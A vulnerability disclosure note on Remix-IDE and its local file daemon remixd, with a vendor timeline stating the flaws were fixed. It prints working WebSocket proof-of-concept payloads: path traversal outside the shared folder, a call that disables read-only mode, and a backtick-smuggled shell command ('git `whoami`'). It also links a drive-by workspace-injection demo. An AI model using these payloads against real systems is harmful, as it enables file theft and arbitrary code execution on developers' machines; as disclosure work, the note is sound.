Remix Ethereum IDE - Drive-By and Remixd Path Traversal and Rce

Vulnerability Note

1 Summary

This vulnerability note describes issues in Remix-IDE, a web application and IDE for solidity development, and remixd, a service and plugin for the Remix-IDE that provides access to a local users’ file system.

The findings are presented in two distinct groups:

  • a Remix-IDE cross domain communication issue
  • and remixd service issues

This vulnerability note shows that any other website can drop file into a users’ Remix IDE workspace without their knowledge or consent. Furthermore, we outline flaws in the local filesystem integration for Remix IDE and provide PoCs that show that the local filesystem daemon remixd provides no security guarantees to a user even though a sharedFolder was configured as a basedir and the service was instructed to only provide readOnly access. The issues found in remixd range from a low risk DoS vector, path traversal vectors that allow to read/list/write-what-anywhere, arbitrary remote function calls that allows the source website to change the basedir or even turn a readOnly share into read/writeable, to remote shell command execution.

For the security risk estimation it should be noted that Remix-IDE is broadly used for security critical smart contract development (being able to drop any file with any content into a code developers workspace can be problematic), and that many users may not be aware of the risks of running remixd and all the security implications that come with that. For example, users might be unaware that the remote website (or any client able to connect to the websocket endpoint passing the origin check) can unilaterally change the basedir, remove readOnly mode, read/write/list any files, or execute any shell commands, potentially without the user knowing.

2 RemixIDE - Cross-domain communication

The remix-ide registered a global cross-domain message handler in loadFilesFromParent. This handler accepts messages from any origin/source.

https://github.com/ethereum/remix-project/blob/5a991218bb269297deda9122b95cb7ad455aa4cb/apps/remix-ide/src/loadFilesFromParent.js#L8

The loadFiles message handler, therefore, allows any other website to push files into the users remix instance without their consent. There’s no way for users to reject or even easily detect the drive-by attack.

This might allow an attacker that is able to lure a victim into visiting a benign-looking but malicious website (usually quite easy to accomplish) to push malicious source code into users’ workspaces. Furthermore, new workspaces can be created at will, even with overlapping workspace names: e.g. - connect to localhost -, or localhost, to further confuse the user. In my tests I was also able to corrupt the workspace to an extent remix would not load the file explorer anymore, resulting in a data-loss as none of my contracts were accessible anymore.

summary:

  • drop any file with any content to any directory of the user’s workspace
  • create arbitrary workspaces and even override existing names
  • write to path’s that won’t show up in the users workspaces, still creating load in their remix ide application
  • forcing a workspace corruption causing a DoS condition where the user loses all their files

restrictions:

  • files can only be dropped to the browser file manager. the localhost remixd instance does not seem to be directly accessible in my tests.
  • duplicate filenames get auto renamed

Note: this feature seems to be undocumented. there might be a reason for this not to be locked to an origin right now but the implementation as-is right now is super dangerous given the fact that we are talking about people are likely writing security-critical code in this IDE.

PoC - drive by workspace manipulation

Note: after clicking attack #2 your remix workspace might be messed up a bit. It should still work but we recommend to backup your workspace first, just in case a reset is needed because Remix-IDE has problems loading the workspace.

Note:The PoC waits for the target to load and then waits another 10 seconds to execute the drive-by. In reality this can be optimized but for this PoC just wait at least 20 seconds and then load https://remix.ethereum.org/ in a new window. You should find additional files in your workspace and after attack #2 that more workspaces have been created. see screenshots

Note: During my testing I was able to corrupt my own workspace until Remix-IDE wouldn’t load it anymore, effectively resulting in a loss of data

image image

  1. backup your remix workspace
  2. Goto https://gistpreview.github.io/?b7f513e7923ec83e7ddbfbd1c2cd59e7
  3. click attack #1 - wait 15-20 seconds, then manually open remix in a new browser window. this will place one file in your remix workspace (https:// instance of remix). you’re safe to remove this file any time.
  4. click attack #2 - wait 15-20 seconds, then manually open remix in a new browser window. this will create a whole lot of workspaces and some hidden files that you actually cannot delete anymore. you might want to clear your browsers localstorage after this.

Source: https://gist.github.com/tintinweb/b7f513e7923ec83e7ddbfbd1c2cd59e7

3 remixd - WebSocket communication

3.1 Post Auth Denial Of Service (low)

requirement: correct origin (therefore severity: low)

let handshake = {"id":0,"action":"request","key":"handshake","payload":["remixd"],"name":"remixd"}

function connect(url) {
   var exampleSocket = new WebSocket(url, "echo-protocol");
   exampleSocket.addEventListener("message", console.log)
   return exampleSocket;
}

force remixd to close without emitting any error by sending invalid data:

let s = connect("ws://localhost:65520")
s.send({})

image

3.2 Websocket and UI relative path traversal (read/write-what-where) (critical)

  • list any folder (outside basedir)
  • write to any file/folder on disk (if not in readonly mode)

https://github.com/ethereum/remix-project/blob/425f6101bbcf3ebfc3ee090c995858a3f984a123/libs/remixd/src/services/remixdClient.ts#L34-L43

let s = connect("ws://localhost:65520")
s.send(JSON.stringify(handshake))

list directory contents /tmp which is way outside the basedir sharedFolder

s.send(JSON.stringify({"id":3,"action":"request","key":"resolveDirectory","payload":[{"path":"../../../../../../../../tmp"}],"requestInfo":{"from":"manager","path":"remixd"},"name":"remixd"}))

returns

{
  "action": "response",
  "name": "remixd",
  "key": "resolveDirectory",
  "id": 3,
  "payload": {
    "../../../../../../tmp/.vbox-tintin-ipc": {
      "isDirectory": true
    },
    "../../../../../../tmp/com.apple.launchd.xxx": {
      "isDirectory": true
    },
    "../../../../../../tmp/com.brave.xxx.xxx.pid": {
      "isDirectory": false
    },
    "../../../../../../tmp/xxx-debug.log": {
      "isDirectory": false
    }
  }
}

Note that this allows us (or any code running on the allowed origin –> plugins, etc) to read/write to any file on disk, outside the basedir sharedFolder.

Note that the reason why there is a sharedFolder setting is because we don’t want to fully trust the origin.

Note that we can also write outside the sharedFolder in remix-ide by providing a filename that contains ../.

image image

3.3 Origin can call arbitrary methods of remixdClient.ts/gitClient.ts - and remotely disable readOnly mode or change to a different basedir. (critical)

  • change sharedFolder to any folder on disk without the users consent
  • remotely remove read-only mode
  • call any other function of the client implementations

Let’s lift the security restrictions imposed by running remixd in readonly mode:

node ./dist/libs/remixd/bin/remixd.js --shared-folder=/path/to/my/shared/sharedFolder --remix-ide=https://remix.ethereum.org --read-only

Note: The assumption is that the origin can only mess with the sharedFolder. Let’s break that assumption and just change to a new sharedFolder disabling the read-only mode: sharedFolder=/tmp and readOnly=false

s.send(JSON.stringify({"id":3,"action":"request","key":"sharedFolder","payload":["/tmp", false],"requestInfo":{"from":"manager","path":"remixd"},"name":"remixd"}))

returns

{"action":"emit","key":"rootFolderChanged","payload":[]}"
{"action":"response","name":"remixd","key":"sharedFolder","id":3}

let’s get the new basedirs contents (/tmp/)

{
  "action": "response",
  "name": "remixd",
  "key": "resolveDirectory",
  "id": 3,
  "payload": {
    ".vbox-tintin-ipc": {
      "isDirectory": true
    },
    "com.apple.launchd.xxxx": {
      "isDirectory": true
    },
    "com.brave.xxxx.Sparkle.pid": {
      "isDirectory": false
    },
    "xxxx-debug.log": {
      "isDirectory": false
    }
  }
}

and yes, we’ve remotely disabled readOnly mode

s.send(JSON.stringify({"id":3,"action":"request","key":"folderIsReadOnly","payload":[],"requestInfo":{"from":"manager","path":"remixd"},"name":"remixd"}))
{"action":"response","name":"remixd","key":"folderIsReadOnly","id":3,"payload":false}

none of the changes yielded any clues in the console. The website allowed to communicate with remixd (plugins, etc.) practically gets full access to the users’ file-system! (critical!)

3.4 Arbitrary shell command injection (critical)

The origin can execute arbitrary shell commands on behalf of the user running remixd.

The filtering for commands can easily be bypassed by embedding subcommendas with backticks.

image

relevant code:

Note that similar to issue #3 any method of this class (and pot. inherited functions as well) can be invoked

https://github.com/ethereum/remix-project/blob/425f6101bbcf3ebfc3ee090c995858a3f984a123/libs/remixd/src/services/gitClient.ts#L45-L50

In this example we execute the subcommand whoami via remixd. We even get to see the response as part of the normal git error message:

let s = connect("ws://localhost:65521")
s.send(JSON.stringify({"id":3,"action":"request","key":"execute","payload":["git `whoami`"],"requestInfo":{"from":"manager","path":"remixd"},"name":"remixd"}))

returns (remixd actually executed git tintin where tintin was the response to whoami):

{
  "action": "response",
  "name": "remixd",
  "key": "execute",
  "id": 3,
  "error": "git: 'tintin' is not a git command. See 'git --help'.\n"
}

This feature is basically an unrestricted remote shell that can easily be misused by a malicious origin (remix website or plugin) to execute a reverse-shell to gain full access to the users’ system. Note that none of the commands in the gitClient are protected by the sharedFolder or readOnly restriction. There is no security guarantee for this service.

SideNote that it is recommended to return reject() instead of relying on reject() to throw. In the worst-case execution continues writing the file even though readOnly mode is enabled while the exception is thrown too late.

https://github.com/ethereum/remix-project/blob/425f6101bbcf3ebfc3ee090c995858a3f984a123/libs/remixd/src/services/remixdClient.ts#L88-L89

3.5 General Remarks

  • the design decision that the websocket service is unauthenticated (only protected by spoofable origin checks) is dangerous and may allow local privilege escalation
  • communication from browser to service is not transport secured

4 Vendor Response

Vendor response: confirmed and fixed. details pending.

4.1 Timeline

Mar/28/2021 contact ethereum security team; provided details, PoC
Mar/28/2021 ethereum security team confirmed they're working on a fix; fixe was planned to be shipped in the same week
May/04/2021 confirmed fixed.
May/28/2021 public disclosure.

4.2 References